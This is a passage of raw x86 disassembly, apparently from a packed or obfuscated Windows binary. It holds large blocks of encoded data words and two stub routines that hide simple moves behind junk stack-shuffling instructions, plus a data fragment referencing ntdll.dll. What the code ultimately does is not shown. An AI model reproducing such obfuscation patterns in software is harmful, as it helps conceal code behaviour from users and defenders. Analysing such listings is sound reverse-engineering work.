0A7EF5FE0h, 0A724F9D6h, 40B7D68Dh, 0AA3CE36h dd 8BEB0000h, 44A57A1Bh, 93F241D4h, 5BDD5223h, 95150AEBh dd 505B5025h, 886DDD5Dh, 0D1A4149Bh, 0A372E262h, 0D6BF2F8Ch dd 3F62E1EDh, 0BE169DACh, 0C724FF3Dh, 0F1525F57h, 0FA69581h dd 1E44A9A0h, 9CC97A8h, 0E0000002h, 0F3C34EB2h, 0D0E1FBC3h dd 3B6A0070h, 169BFBD7h, 9B0B6996h, 6FA71798h, 0D6EDB19Eh dd 20B9350h, 0EBF323D3h, 30A18C58h, 0A20811EFh, 26FD4BDFh dd 7DEB2B04h, 0EB589B9h, 0E95ECA13h, 134CF08h, 664C4FD3h dd 3B031484h, 49B11021h, 14225E8Bh, 0C8A28D79h, 6678E84Bh dd 9680F04Dh, 6DC2D1B9h, 70FF9E0Eh, 6BB81152h, 9EFE949h dd 1F9F0000h, 0D859C6AFh, 17968D68h, 0DF61CEA7h, 1999866Fh dd 0DCCFCCA9h, 24F161E1h, 5D38A80Fh, 1FF666C6h, 0B243B310h dd 43863D21h, 2A169DADh, 864FD369h, 0B9AFD20Eh, 0A96A0065h dd 4CDED848h, 51627CACh, 56E882F2h, 0A266F1EFh, 189B8816h dd 0BE916EA8h, 0BC2C93A0h, 0C13191A2h, 8312F8D5h, 3DB4BACh dd 0E8D6C1D2h, 0E347D442h, 654A4373h, 5D218785h, 0E64B112Dh dd 49741686h, 1087C9F1h, 0C60BBA7Ch, 431CB605h, 0B6055980h dd 0AD13241Ch, 86ABB39Ch, 4FE4B121h, 50DC5CE8h, 0B89581F1h dd 657EB897h, 72079606h, 6DB1BA9Fh, 93FEB47h, 0EF4F0000h dd 2889967Fh, 0E746DDB8h, 2F919E77h, 0E949D6BFh, 8CFF9C79h dd 0B441B111h, 0ED88F87Fh, 0AF46B636h, 2930380h, 13360DD1h dd 0DA169D92h, 39942319h, 1086F218h, 73716668h, 755A5A4Fh dd 0C5F89F4Bh, 79A94D6Bh, 7CEC4C65h, 25FDC88Eh, 28169C40h dd 8BEA4717h, 0AA19431Bh, 16939D67h, 36553506h, 9EA0D070h dd 8BF9C727h, 89556610h, 0AC68194Ch, 7F6B71D2h, 87F774BDh dd 52C241EEh, 0BE58B0CBh, 41C1B3B1h, 8B5h, 8ED5DD9h, 4F26961Bh dd 20F565E0h, 583DAD13h, 1EF767CBh, 2B8F0289h, 0E245DABBh dd 308CA372h, 7DFE35C0h, 6F5F680Dh, 9D928DD4h, 8DAF7016h dd 86F297B6h, 5BEAF410h, 1086F236h, 506E4B5h, 575F36A6h dd 67D75BA7h, 6CCF7648h, 0B169C41h, 0AD0F243Ah, 69CB583Dh dd 5635BDF9h, 51000008h, 3DB0BABh, 2CDE4EAEh, 1F5F9B2Ah dd 0CDDE169Ch, 5ED203C9h, 0F8077F78h, 0A212959Eh, 0D4EF9B74h dd 16933789h, 0AEE858DFh, 0CEC838B5h, 0EE4CB52h, 93371237h dd 0E7C8D916h, 68E1CC43h, 9DBDDF05h, 1528Bh, 0C8249F00h dd 0E2455E58h, 0CC2F4472h, 7A55C540h, 55C5273Ch, 0A11173C0h dd 7370375h, 8C372537h, 1086F245h, 48731728h, 1086F259h dd 20231324h, 0B2AC4679h, 86F2CE13h, 0EE9CAD10h, 0A64FBF3Dh dd 0BC2C8FA4h, 0E831947Ah, 931086F2h, 4CBDAD82h, 0C89680F0h dd 4FF3B98Fh, 8648ADF4h, 587F5010h, 0E08AB51Bh, 863B80C5h dd 0F666C610h, 0ED4EB3C0h, 863B3356h, 0C6E9BA10h, 12370ED0h dd 0D910863Bh, 812CDDC8h, 3A774362h, 0F7A248B8h, 1C7DFFC8h dd 836D243Bh, 3FE6F2CFh, 10860C1Ah, 0DFFFD0E1h, 0B7FF6FD2h dd 614924C6h, 63D355A1h, 6B6C724Ch, 0B880F629h, 0AE0DFD46h dd 10869863h, 140D091Ah, 0DD522393h, 0B7ACEA5Ah, 0F3D2C434h dd 0CB2C9B42h, 0A652835Bh, 0CC0E473Fh, 79A6C5A5h, 2A9086F6h dd 0AD182656h, 169CCDFDh, 59C6AF80h, 0CA3066D6h, 0B933D2FAh dd 48FE59DAh, 0D75A5767h, 0AC5E2F67h, 39FA1BAAh, 0A8791693h dd 0AF1E876Eh, 4E279718h, 0A8EE5EE1h, 0E16DCDE6h, 2EDCF363h dd 0BA84B484h, 8B88F879h, 82D4B626h, 89C8C3C3h, 0BD819210h dd 0A2DD2798h, 9768AE1Eh, 0A60E0FC0h, 0F57AA9C4h, 0C143F085h dd 1D488D51h, 0C0308C90h, 263A8FF7h, 0AB032944h, 4003DB0Bh dd 169C0B50h, 91A1C2Dh, 0CF5D38A8h, 2DC0CABh, 0AE050B1h dd 91F1420Ch, 7218F521h, 86F20A53h, 913CF310h, 0A81A35B8h dd 5FDCD597h, 36BAA7EFh, 2101E9C6h, 38h, 55C524F5h, 0F2BFE261h dd 0F7C31086h, 0F23B5EE5h, 0F1C21086h, 982F9E19h, 0E576B119h dd 4220ABD5h, 0B88B516Dh, 1086CC91h, 0D49F4B5Ch, 8729E8F1h dd 9D822210h, 96FFFFFFh, 6557C724h, 0CAB4327h, 0C486E0DCh dd 7B3CDC93h, 32D8CDC9h, 2673A60Ah, 2AB968A8h, 0CD000000h dd 7BE3624Fh, 0AC153E96h, 2E684710h, 40FFB951h, 0F44F2C10h dd 1086F2ADh, 4F3D7F50h, 55C5246Bh, 0B5725667h, 3Fh, 0DC0CABD1h dd 4F8D4FE0h, 86F2ADF4h, 3257EE10h, 0B91086F2h, 836738E8h dd 86F2F118h, 652D0A10h, 189EC8ADh, 9AFB22Fh, 3FE3E62Eh dd 6B4F2C10h, 8955C524h, 0D7FC364Ch, 9E1C4CAh, 24725611h dd 0D65D59C9h, 1086F2B3h, 606756BFh, 0BEA075E5h, 0D6CF875h dd 8BA4999Dh, 0EDD8B28Bh, 1087023Bh, 0F463DB49h, 4FAFFFFFh dd 286EDE62h, 5244B43Bh, 7BB8527Dh, 0EB2E95F6h, 301086F2h dd 86F24C95h, 0A21E2F10h, 0CFD7BE91h, 64DFFF2Fh dd 169C1FECh, 0F76A071h, 1693DFCEh, 25CD00B7h, 4E3CAC0Ch dd 0BD4ADA5Fh, 1A629Dh, 7F580000h, 0F97A9F0Fh, 0E850AE89h dd 2EBD8FF1h, 9AB5766Ch, 1B54CF0h, 0D1000000h, 3DBF0BABh dd 2DCE2CDh, 0B6E050B1h, 0CA9231D9h, 0AB169BF7h, 2B9AC49Ah dd 1693F7E6h, 58D6B485h, 6876E64Bh, 4076E64Bh, 0F5D09B4Fh dd 1693F69Ah, 0FEC0308Ch, 0F43C65E0h, 0EEBF1693h, 42C271FCh dd 9BCB0CD2h, 227732FCh, 2CF21CCEh, 894E9332h, 1C2D1693h dd 0BA8C4B6Eh, 75F7D0FFh, 40C37005h, 75D00ED0h, 1693892Ch dd 4D0CFECFh, 0D4ED5DDEh, 64634A37h, 54529F07h, 9B246DD8h dd 0F6C71693h, 76B97FE1h, 4F75C559h, 0F151DD62h, 97B89581h dd 0D1BCAE9Fh, 9728266Ch, 0D747A50Eh, 373D2DFh, 75153A13h dd 113C5h, 0EFD20300h, 1888EA0Bh, 0B316211Eh, 7CA04AF3h dd 0DDDF0FABh, 0C3248D4Fh, 806A6353h, 86F2F925h, 19250A10h dd 0F2598043h, 13241086h, 6B4FC377h, 70E0624Fh, 1EAE1F9Ah dd 6557C724h, 0CAB4327h, 0A286E0DCh, 71E1624Fh, 26BF1A99h dd 872568A8h, 1000000h, 0EC69864Fh, 18E18D48h, 58794872h dd 86FFA4EDh, 59764710h, 0A5EC5785h, 481086FFh, 4F9F9377h dd 0C281E262h, 1086F29Fh, 88624D5Eh, 0F2CA0FB6h, 0E0B11086h dd 1C4500DEh, 7D1086F3h, 86F383C6h, 0E7596A10h, 4F0034D6h dd 9A70E062h, 2DBD9AC4h, 5D498009h, 24967E6Ch, 47B739C5h dd 8D517E4Fh, 5F57C724h, 387EEE52h, 9A826847h, 0FBCA9456h dd 1086F2D6h, 0F2499033h, 63341086h, 16FEECBDh, 2CB5h dd 0CABD100h, 624FE0DCh, 0C49A70E0h, 0D801C49Ah, 0A31086F2h dd 84CDF892h, 0F51086F2h, 6B4FE4D8h, 8955C524h, 5E58C828h dd 56918961h, 0FED5B572h, 0E2F3FFFFh, 7654F44h, 48EC9E04h dd 5F57C724h, 40F7587Dh, 2FBD96F6h, 0FD6DCE3Bh, 7FFD3618h dd 0FA62A71Eh, 38091086h, 3C2E1F17h, 6C72A256h, 0D354E047h dd 755A3363h, 0CC04BF95h, 91169BF3h, 0EE2F9680h, 971693E3h dd 0EC45AD20h, 18F52191h, 0E35A7F46h, 10211693h, 2EAE3B7Ah dd 8E509DBDh, 93EB92B7h, 0A2485916h, 3D82h, 0BAB9600h dd 0F04003DBh, 2B169BF5h, 503E2431h, 0C2785BBFh, 93B73E63h dd 0FEECBD16h, 9A0A6D9Ah, 0B28CA39Ch, 0A3930381h, 0EF56C0AAh dd 1693B7AEh, 5CEDE057h, 9DBD5ED1h, 0BE57h, 0C7243300h dd 0CA2A8757h, 9886B05Ah, 73AC149Bh, 22FFD281h, 0E0513916h dd 0E454D662h, 9E2F3CBh, 457FB0E7h, 0E9FA34D6h, 13441A8Ah dd 0C8C77C20h, 81AB5FCCh, 0D2A31370h, 8627E2EFh, 3FAF0C10h dd 0FA6AC956h, 3E8A2EBCh, 734C4ABAh, 7BC3825Ch, 0FA169B21h dd 9A5E4C29h, 0D85F546Ah, 0B9512E68h, 20A3B9A3h, 16932AF9h dd 0ECD7B384h, 108B45A4h, 4D667849h, 8B987DEDh, 0C5E6B727h dd 0A2B1BE13h, 25F3094h, 0CF2F0000h, 869B65Fh, 0C726FD98h dd 0F71BE57h, 0C929F69Fh, 0ACDFBC59h, 542191F1h, 0DE858DFh dd 4F269616h, 22F363E0h, 0F316ADB1h, 7A169D95h, 0C62443F9h dd 1370BF56h, 4F66D2A3h, 286EDE62h, 39FDB357h, 7FFC3509h dd 5436070Fh, 0F5F74302h, 0BD86169Bh, 68E80145h, 1CF04579h dd 1E4B8733h, 0D922631h, 7636DF13h, 0CE2C8559h, 382AC5Eh dd 1693BADAh, 0EDC491A3h, 0C5CD506Ah, 4BAA6AF0h, 858BD6Ch dd 6A883762h, 3A7CEC49h, 83E6A545h, 99DBD7Eh, 0C2h, 0B68D4F1Dh dd 1086F293h, 70A1495Ah, 0A973A313h, 0F2C910B3h, 0E3B41086h dd 38A80A07h, 0F71A77FEh, 57D41086h, 0A2210EE7h, 191A0432h dd 15EA2C9Ch, 2F7B3B75h, 2B7C5BCBh, 37A7A9Ch, 8B3A042Bh dd 169BEFA3h, 0E858D5C2h, 0E0FED1AEh, 690171D3h, 0ACDC9C0Ah dd 0CC92CC92h, 93ECD0F9h, 1B8A9B16h, 1693ECF6h, 0D7C6A475h dd 108B875Ch, 0BFF4CADBh, 0F52ACB3Bh, 3D780575h, 1EB1BED0h dd 1479C18h, 0E7470000h, 30919E77h, 7FFE35C0h, 37B9660Fh dd 81012EC7h, 64278411h, 0BC59C929h, 5900067h, 0B75ECE2Eh dd 0FA9B0B68h, 1B3E05C9h, 0E2169D9Ah, 0C6241B21h, 1370BF56h dd 2B88D2A3h, 605D59C9h, 0C724928Ah, 0F1525F57h, 0F2C6F481h dd 0D1E2FCC2h, 47150171h, 86F2557Ch, 28071810h, 10CF6342h dd 614E169Ch, 7D416EDEh, 0AE47B734h, 0CC920281h, 0A5910167h dd 0E654C2A8h, 69DCE212h, 10B72073h, 0A7179B98h, 3BC2D3C3h dd 0B1BB2BFEh, 0B6EF5361h, 0D8000000h, 1807EE5Eh, 0D74C2999h dd 200FE656h, 0CE6530A0h, 8219FC6Ch, 0A4149609h, 6DDD62D1h dd 0A9199B88h, 64D457CCh, 0AD184691h, 169D9A64h, 0ABB68607h dd 4003DB0Bh, 16A23E4Eh, 0CD14AFADh, 23169DBEh, 15EA2C9Ch dd 0D0F09AABh, 49AAB7FFh, 84E73CD9h, 0D8A32214h, 4778E2C0h dd 59DAEDE0h, 94170CE9h, 3E67EF2Ch, 4D62DB3Bh, 6B528349h dd 0D7E492CDh, 1C9C8D7Dh, 0BF8B6AACh, 87D7E696h, 29C186EAh dd 2B883F6Eh, 31901C9Fh, 0FDC1EEC1h, 27C333B4h, 54B1024Ch dd 0A60506E4h, 391E0036h, 14845329h, 0C9F9912Dh, 0Dh, 6F6D2FDDh dd 86F28DD4h, 0AB5F7010h, 5ACA2487h, 74E4475Ch, 63D33142h dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h dd 7AEA4F64h, 0FB68783Ch, 89000070h, 0E6892434h, 4C681h dd 0EE830000h, 24348704h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], edi mov edx, 439B7EFBh inc edx neg edx push edi mov edi, 0B6493298h sub edx, edi pop edi push esp mov edi, [esp] add esp, 4 push 3286h mov [esp], ebx mov ebx, 8 add ebx, edi mov [ebx], edx pop ebx push dword ptr [esp] pop edi add esp, 4 mov edx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_581882 ; --------------------------------------------------------------------------- db 3Fh dd 6B5A1489h, 0F77A1C2Dh, 39F5CB3Fh, 8FB8F203h, 3061B69h dd 85C650C5h, 61509C5h, 17256847h, 0B5FFCF38h, 6151685h dd 3B38858Dh, 0D0FF0615h, 858DD88Bh, 6151E95h, 1046850h dd 0D3FF0000h, 9C585C6h, 68530615h, 8307F8BFh, 1685B5FFh dd 858D0615h, 6153B38h, 8589D0FFh, 61B4C33h, 9CDBD83h dd 0F000615h, 0B84h, 599D8B00h, 0E9061525h, 5, 0BBh, 1006800h dd 0B58D0000h, 61B4C37h, 95FF5356h, 6151375h, 4C37B58Dh dd 0F003061Bh, 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh dd 0FFFFFFEDh, 8D0006C6h, 1B4C3785h, 95FF5006h, 61B4C33h dd 58E0FF58h, 821FA82Bh, 18594DC3h, 0DF733067h, 0A41FB15Eh dd 384BF9D2h, 0ED0EA29Dh, 85061A0Ch, 50785165h, 0BE1E46F8h dd 7132FA97h, 232C18C2h, 362D37CFh, 0E15C3F4h, 3B36F415h dd 375A298h, 0F440E509h, 7D1CA396h, 0BE1FF9E8h, 9410292Eh dd 0E3311F27h, 0E92D9396h, 50h, 6885C6D3h, 0E61D8C93h dd 2E81E89Dh, 6C64746Eh, 6C642E6Ch, 1467006Ch, 8003B2BDh dd 0FEB9h, 0Ch dup(0) dd 68AE9h, 6CC06800h, 0BBE9061Bh, 68FFFA12h, 61B6D9Bh dd 0FA12B1E9h, 6E3868FFh, 0A7E9061Bh, 68FFFA12h, 61B6EF7h dd 0FA129DE9h, 6FCD68FFh, 93E9061Bh, 68FFFA12h, 61B70A6h dd 0FA1289E9h, 2090EEFFh, 0EB5BDE55h, 2898150Ah, 0E252D64Dh dd 2E9E1C13h, 685B5047h, 24FB9A0Ah, 6DC253C3h, 29F69F0Fh dd 8BB5ACAh, 995A7F46h, 6021169Dh, 1FB5DCh, 0BEF30000h dd 0F0CDC939h, 0C724221Ah, 0C92A8757h, 6E83B159h, 0BDF89D0Dh dd 1086F290h, 1FF666C6h, 0DB0BAB19h, 0D949AE03h, 0D0982B31h dd 5D169BF2h, 0A2EB4A4Ch, 0B41693F2h, 0D4CDC939h, 16B1E555h dd 3BB309Fh, 0A584AA76h, 2198321Dh, 0EB0E9BAEh, 39969DBDh dd 72000002h, 0E69A57B2h, 351DA8B6h, 38169BFBh, 0F88ACF76h dd 84711693h, 8F80B626h, 0D4EF8FA0h, 0D2A09098h, 0C434B6FBh dd 9CCC6C26h, 407F03C2h, 2DFEDCD8h, 73BF7FE9h, 0A59A9C0Ch dd 0F87FB48Ah, 0E95CE288h, 0C6C7D778h, 322C3203h, 8A5AEB25h dd 794536BCh, 0F73587CAh, 0B55566C6h, 0EE87F774h, 0CB52C241h dd 0E779EAEAh, 0A17BF7FDh, 0E4000004h, 0A47B1A8Ah, 0F340D545h dd 0DC532292h, 1A09EC5Ch, 4E4D2898h, 70E0625Dh, 0B9298EA5h dd 75E547DCh, 0C03093A0h, 9BCA235h, 169D9EC0h, 2452EAABh dd 0D95F57C7h, 48AF0425h, 0F2246DD8h, 0F6C71086h, 763E05D9h dd 0A5169BF9h, 77BF2F8Ch, 0E3B4E486h, 51A0AB12h, 7B617DADh dd 0B26C3B5Ah, 64DF7E71h, 16938D3Dh, 2AC0EFC0h, 8E84977Bh dd 39C5D610h, 1FAB0E23h, 66042B9Bh, 0E22E937h, 66966AA5h dd 0B005ED58h, 97A8B253h, 0F674BD9Fh, 74BF9086h, 0ADE387F7h dd 3E05D909h, 0BC4226C3h, 0A7B5899Ah, 46CB0EB5h, 0E9B2A073h dd 0CE9D290Eh, 907A5583h, 0AEB020A3h, 1B9A2685h, 0BD926BABh dd 979CBECDh, 4AC7A313h, 94BD88E9h, 57A073DCh, 99946946h dd 420CF683h, 3C6D034h, 3FBF0000h, 78F926CFh, 37B66D08h dd 7F012EC7h, 39B9660Fh, 3C6F2CC9h, 4910181h, 0BD58C82Fh dd 0FF960666h, 9263D330h, 63A61D41h, 0A169D9Fh, 0C724B389h dd 25D95F57h, 6A5AE9F5h, 0EB169BF6h, 0CB6B3BDAh, 9800C39Bh dd 0E510B759h, 3D40AD4h, 0F3A53A06h, 93806A83h, 0D747A430h dd 0B7DFF6DFh, 75532CFEh, 93A0755Ah, 64D6C030h, 7D5A6494h dd 0BAAA05FBh, 0DD5F0B7Bh, 2366DDFFh, 0CA1CB675h, 0EAB211F9h dd 291AAB71h, 0FC3AAA08h, 3B1484E7h, 0BF5E6F4Fh, 0ABA626C2h dd 299B171Dh, 5C000003h, 8CA372E2h, 4BD8BD2Dh, 849B7AEAh dd 52E1B424h, 0B6F580F0h, 0C838BAF5h, 171F62Dh, 0CD3DBF74h dd 878FB28h, 0D1745A6Dh, 169D9C88h, 244AF273h, 0D95F57C7h dd 0E959D925h, 35BBF8C6h, 0EFCD1C5h, 9B1D1648h, 0D0643F2Bh dd 65169C12h, 9A03C154h, 17000001h, 0DF9F72B2h, 2C348FAFh dd 51169BFBh, 0F8ADF44Fh, 46E71693h, 0BBCE65D4h, 456A3BE5h dd 0AA830AB9h, 1CDC03D6h, 0A70CD2ECh, 8A39D141h, 0EDCE2132h dd 83A04D1h, 0AD0B077Bh, 0E1C6F316h, 86A97A11h, 175AB4B1h dd 0AE0BB49h, 27918596h, 0AC172757h, 17F822BDh, 0E2CFEFC0h dd 0F24F161h, 5A613CACh, 89B66BF8h, 26A076Bh, 9B1B0000h dd 54D54A2Bh, 0A32211E4h, 6BCD6233h, 0A5051AFBh, 404B6035h dd 987DED4Dh, 0E1B4248Bh, 0F382F252h, 0A64FBF3Ch, 4F92311Dh dd 2E169D9Ch, 0C724CF6Dh, 25D95F57h, 5A5AE9F5h, 0DB169BF9h dd 0A3822BCAh, 0C49ACA6Eh, 0EE9C0C6Fh, 0FC75DD68h, 27F8108Eh dd 5B7E4517h, 221CACE3h, 0A0237911h, 9342CA56h, 0EBF51DE1h dd 0E2F3CA8Dh, 0F97FA221h, 2DFE8B8Dh, 40893C02h, 2B8B8DF9h dd 9A29351Ah, 8D971102h, 1EC0B4A1h, 0BADDDF65h, 0F0CDC939h dd 0BA8B2BDFh, 1392B3A4h, 3687EF39h, 0B050DA54h, 7C56D188h dd 132B86Bh, 1D210E7Eh, 0E0964D38h, 14F66AFFh, 33868342h dd 0C4D5B7BFh, 0AE3AB9FAh, 0E2DBDB4Bh, 78FB28CDh, 0E2191ECh dd 0B2E7666Fh, 0F738116h, 194h, 502595F1h, 7EE5EE3h, 482D9D18h dd 10E555DBh, 462F9F23h, 3675A51h, 0CA2D0293h, 864BB5Ah dd 0C526FD98h, 4717C055h, 9D9D557Ch, 0E5571816h, 8757C724h dd 6155C52Ah, 0AEF3526Ch, 4D1086F2h, 1AA08E7Ch, 36283666h dd 0E9F6F21h, 0E981A9F8h, 9B63CABAh, 0DBBA8B16h, 0DB0BAB4Dh dd 0DD4DAE03h, 0B0E656D6h, 9A292BDFh, 16A25DC0h, 346FDDFh dd 0EA169D99h, 1B3E05D9h, 0E2169D99h, 0B48539D1h, 0BA2A89AAh dd 77E744DBh, 8BCE7567h, 9169D99h, 0AD4308A8h, 8B9C0442h dd 0D3B72788h, 0FF2FCF59h, 366464DFh, 28F910B9h, 2E9E1D16h dd 0EB5BD847h, 49793DABh, 0D58ECE75h, 0C80D1AAAh, 348F4165h dd 2CDBCEDh, 0E998BF90h, 2A8E7C4Fh, 57E18419h, 7C7AABA0h dd 0BBF8h, 0FC6CCA00h, 37A70A19h, 474D15Eh, 0CE3EC271h dd 0A7AF827h, 447F2C6Bh, 909F76E6h, 49D6BF2Fh, 859A7BEBh dd 0F4DFB626h, 82365BEAh, 34B5169Dh, 0DB0BAB08h, 5D444003h dd 81916A2h, 0AB7A2136h, 0BC89F901h, 357E60CEh, 67A446B6h dd 32019404h, 0CE3561D1h, 793E1255h, 81013214h, 8F3E7911h dd 7EEE4E63h, 0AC1C9F8Ch, 278CC592h, 1047892Fh, 0A7041B7Ah dd 381DFF37h, 0CB6D16C0h, 0FB38D2B3h, 4E370D75h, 54C9BDD6h dd 0D1383B7Bh, 228AE9DEh, 0D8E42B45h, 1BFAD5DBh, 2737A704h dd 0FB3BAB0Ah, 0E0AE6802h, 0C564E6F7h, 2312EFAh, 4A7A1080h dd 8, 5ECE3380h, 4B2F88ACh, 5C5ACA24h, 4274E447h, 3363D331h dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h dd 3C7AEA4Fh, 0E0895078h, 405h, 42D00h, 4870000h, 1C895C24h dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 53240C89h dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h, 0CABA5224h dd 52061B6Bh, 0C9243481h, 596F8979h, 79C9F181h, 835A6F89h dd 248904ECh, 24048324h, 53515B04h, 0DF1C68BBh, 245C015Fh dd 438F5B04h, 86B8108h, 5FDF1C68h, 5B2434FFh, 4C481h, 34FF0000h dd 0C4815924h, 4, 0FA0C3DE9h, 0B8124DFFh, 61B7186h, 0E0FFC503h dd 254887FCh, 2D638E23h, 34E0D113h, 7A56D446h, 38659BD0h dd 17A4D178h, 575FC160h, 67333861h, 40028B37h, 2AF0C8B6h dd 6B0942D9h, 3C9280Ch, 46465489h, 45EA9FABh, 6FA40953h dd 70791547h, 5F390CA2h, 11E8h, 1B306D00h, 4651D700h, 150AC1F6h dd 992D563Ch, 0F50BE70h, 58Fh, 0E7816600h, 595EDDEEh, 2E99F681h dd 0C1810F47h, 6293h, 186968h, 0E9605A00h, 13h, 36CBAA62h dd 0C0DE8CC6h, 0E4B718EAh, 3638C76Bh, 66E534C5h, 57C2DB81h dd 0F31FF61h, 78Eh, 86BA6000h, 612993EAh, 0C081F558h, 80BE0F8h dd 0C0E1C081h, 0BE932F3h, 1E000000h, 8A12C9BDh, 75FF9BD7h dd 0E8814C74h, 480E5569h, 0D408CF81h, 815010CFh, 8B2616F6h dd 56018F09h, 14E9h, 55D01900h, 0A64452B3h, 42B20FE6h dd 8E412593h, 5C4CA5C2h, 0E9815E33h, 4FFFB923h, 1FC181FCh dd 0FC4FFFB9h, 1EA81h, 850F0000h, 10h, 25E9FA8Ah, 69000000h dd 36AA0F6Eh, 0A5112F47h, 860Fh, 6EE90000h, 54FFFFFFh dd 75B7AF66h, 0ADBB61BCh, 14B8A1Eh, 98EE8AD3h, 27E9h, 0DE144B00h dd 54h, 8 dup(0) dd 44FE9h, 748C6800h, 0BBE9061Bh, 68FFFA0Ah, 61B74EEh dd 0FA0AB1E9h, 761F68FFh, 0A7E9061Bh, 0D0FFFA0Ah, 0C06F0676h dd 0EF44D141h, 0A8771E8Eh, 0E63DD848h, 2A811484h, 5CCC2E61h dd 95056AB9h, 61D13300h, 0AC1C9F94h, 75D0FEC9h, 169D812Ch dd 24EE4ECFh, 536056C6h, 0C5F580F0h, 46FDC1F1h, 169C1BBAh dd 171D0E1h, 7AFB3815h, 5340600Ah, 67AF80F0h, 93DBC10Ch dd 0DC03AE16h, 0BD43006Dh, 2A5889Dh, 4FA40000h, 9A70E062h dd 0F8C82927h, 0CB4FF6C8h, 0B2169BFBh, 0F23F1DE1h, 5D482292h dd 0BF952A9h, 1B9F94CAh, 82D7FAABh, 859613FCh, 0EA0BABE5h dd 0FC82365Bh, 0DAE4B513h, 0FC82266Bh, 0DBF4C513h, 0DD4DAE03h dd 3006E4D9h, 35A5052Eh, 3F5E0C01h, 15E6789Bh, 0D3655162h dd 0F1EBF323h, 750B70E4h, 0AA407565h, 136D8AFBh, 0E6F8C91Fh dd 17FE6ECDh, 623BAB08h, 0AE471D81h, 0A2F45066h, 0B0000002h dd 200FE656h, 0CF6431A1h, 817FE6Eh, 0C65D38A8h, 8A21F464h dd 0BC2C8E01h, 75E54AD9h, 0C13193A0h, 0C7CFF34h, 0D5705E69h dd 169D868Ch, 0AB8EAE6Fh, 4003DB0Bh, 16A265B7h, 48697546h dd 6FDF5EEAh, 0FC7EB540h, 0E12B8A8Ch, 0F3169D81h, 0EDB12890h dd 9AFC031Ch, 0D8EDE8B5h, 0C8EEB7CFh, 2406Ch, 44B41200h dd 8FFF82B1h, 4CBC39E6h, 86F67AA9h, 52C240EFh, 0ECA7E4C3h dd 0A8771E8Eh, 0F13ED747h, 0DD522393h, 0BC07EE5Eh, 86EE3392h dd 0C8D169Dh, 0DB0BAB30h, 65B74003h, 0CFE416A2h, 0AE12F868h dd 0F31A999Dh, 7C169D81h, 1648AA15h, 9D816AAFh, 0B40F1116h dd 169D816Dh, 7A103F10h, 0C390AE3Bh, 161369Dh, 24520000h dd 7D5F57C7h, 0A248B834h, 0D3A21271h, 0DBE313E3h, 0E850B001h dd 647B5F52h, 76143BB2h, 9BF51347h, 0CDC9DA16h, 93E52766h dd 7669D016h, 0BD3566D3h, 2FEE9Dh, 0ABCA0000h, 4003DB0Bh dd 169BF5F0h, 947ABC8Dh, 0C1A9199Fh, 93F1BBE2h, 41724416h dd 0B753C3h, 0AB0C25CDh, 0D9644F3Bh, 5F9DBD1Ch, 9Fh, 3BC7243Bh dd 714E48B8h, 0E74B585Eh, 0D1323F77h, 0BF3C3561h, 0BD426F4Fh dd 0F2A0E95Ch, 7A4B1086h, 0DBD6B555h, 1086F790h, 5E75A8ADh dd 6AF47BD8h, 0C0309380h, 81B18535h, 9BC806BDh, 0E0B1169Eh dd 0E858D5DEh, 582A6FD6h, 0C0D11691h, 9B1F142Ah, 0B3004A2Bh dd 0FD2EDC4Ch, 6F700D7Dh, 70B7D3EFh, 10FFE86h, 0C3430000h dd 0C6DC253h, 0CB2AF99Ch, 365BA5Bh, 0CD2D0293h, 0A8E3B85Dh dd 700575F5h, 29CC3CC3h, 6B0A7AFAh, 2EC737B4h, 0C70AB9A5h dd 0A6169D84h, 0C62457E5h, 1370BF56h, 2466D2A3h, 525F57C7h dd 940465F1h, 2CCCDABBh, 6FD1E2FCh, 24C6B7FFh, 4188B312h dd 7AA7169Ch, 0BE8F87F7h, 664CD91h, 9BC2FF96h, 0CD1693BDh dd 0F7E0FE6Eh, 99A6BE07h, 0A7B9187Fh, 458F0B2Ch, 35197416h dd 0D02E2D20h, 0DD8D1A68h, 585ECE2Ch, 71EC6176h, 994E020Fh dd 7BD1F1h, 0ABE50000h, 4003DB0Bh, 16A265BBh, 2C457142h dd 69B65FCFh, 199C9A0Ah, 65572D59h, 90624DD4h, 84B222A3h dd 1FA6AC8Bh, 0CF8DD807h, 18DEE1Bh, 233B1484h, 4B3FAF0Eh dd 94151E40h, 6D1DF224h, 0EFCF3FBCh, 38D242C2h, 2283E5FEh dd 66487EA3h, 32CFD48h, 39841A3Bh, 23138301h, 0A0640D2Ah dd 22210BFFh, 0F87B4C73h, 0B536ED88h, 0AF15145h, 0C5000000h dd 6DDD624Fh, 80B65429h, 5ACA247Ch, 74E4475Ch, 63D33142h dd 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h, 52C24330h dd 7AEA4F64h, 8953783Ch, 4C381E3h, 83000000h, 1C8704EBh dd 24248B24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi push 61B73ACh mov edx, [esp] add esp, 4 push esp mov edi, [esp] add esp, 4 push 242Bh mov [esp], edx pop dword ptr [edi+8] mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_581882 ; --------------------------------------------------------------------------- dd 73C1712Ch, 1B7753B8h, 0FFC50306h, 0FC4DA1E0h, 0BF433F55h dd 2E63F50Bh, 0E37D8553h, 1640E851h, 0D1F90855h, 43EEBF4Ah dd 0BDB6A00Dh, 0C290897Ah, 3DD3E724h, 23840A12h, 0B34C5B70h dd 0FC711B59h, 0F8278D7Ah, 1271B14Fh, 0AC15B96Dh, 0F08D8D2Ch dd 60061B78h, 0BE58BA66h, 5F5F5656h, 218D8961h, 31061527h dd 151075B5h, 0CD85C706h, 0E4061504h, 6A000058h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 